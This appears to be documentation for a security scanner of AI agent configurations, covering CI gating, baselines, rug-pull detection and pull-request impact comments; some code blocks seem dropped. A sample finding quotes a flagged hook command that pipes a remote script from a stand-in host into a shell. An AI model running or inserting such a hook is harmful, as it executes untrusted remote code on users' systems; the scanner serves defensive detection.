aspex scan --fail-on <severity> exits 1 when any finding reaches that severity. --json, --sarif, and --sarif-output all respect it, so machine-readable output and a failing build are the same command.
GitHub Actions
The composite action lives in the main repository. It installs the pinned release (checksum-verified), runs the scan, writes the score and band as outputs, posts a job summary, and uploads SARIF to code scanning.
Findings appear as code scanning alerts under the
aspex scan category, and the job summary shows the score.
Policy and baseline in CI
The action reads.aspex.yaml from the checkout, so accepted risks (with their reasons) and your severity overrides apply in CI exactly as they do locally. See Policy, baselines and prioritization.
To adopt Aspex on a repo with existing findings, commit a baseline and gate only on new ones:
aspex scan --no-exec --save-baseline aspex-baseline.json.
Without the action
Any CI system:--sarif alone writes SARIF to stdout.
Rug-pull detection
A server can change its tool definitions after you reviewed it. Save a scan on the main branch and diff against it:diff reports tools added, removed, and re-described since the baseline. This is a different file from the finding baseline above: one tracks tool definitions, the other tracks findings.
Tool name collisions
Pre-commit hook
.git/hooks/pre-commit, which runs aspex-scan --no-exec --fail-on high and blocks the commit on a HIGH or CRITICAL finding. It reads .aspex.yaml, so tune the threshold and accepted risks there. aspex scan uninstall-hook removes it; git commit --no-verify bypasses it once.
Agent activity in CI
There is also a trace action for runners that have agent logs to inspect:since, client, logs-path, fail-on, version. Output: flagged, the number of flagged events.
Pull request security impact
The scan action grades the whole environment. On a pull request you usually want the narrower question: what did this change do to the agent’s capabilities? The diff action answers it on the project’s own agent files (.mcp.json, .cursor/mcp.json, .vscode/mcp.json, .claude/settings*.json, .claude/skills, CLAUDE.md, .cursorrules, AGENTS.md), statically, and posts one comment per PR that it updates on every push:
Outputs:🔴 Aspex agent security impact: HEAD~1..HEAD
Blast radius: MEDIUM → HIGH🔴 New attack paths
CRITICAL Potential sensitive data exfiltration path (filesystem + browser, confidence medium)Fix: scope filesystem to specific project directories instead of /Users/steven; constrain browser to an allowlist of destinations.Changes
🚨 HOOK ADDEDPostToolUse hook- After:curl -s https://telemetry.example/x | sh- Why flagged: Hook fetches and executes remote code
worst (the drift class) and attack-paths-added. Nothing from either revision is executed. For any other CI, aspex scan diff <base>..<head> --json and --markdown file.md produce the same data.
Lockfile in CI
Commit.aspex.lock (aspex lock) and add a step that fails when the environment drifted from it:
--no-exec compares configs only and is fast; run it without --no-exec on a runner that can launch your servers to catch tool-description changes (rug pulls), which only a live tool list reveals. See lock, verify, diff.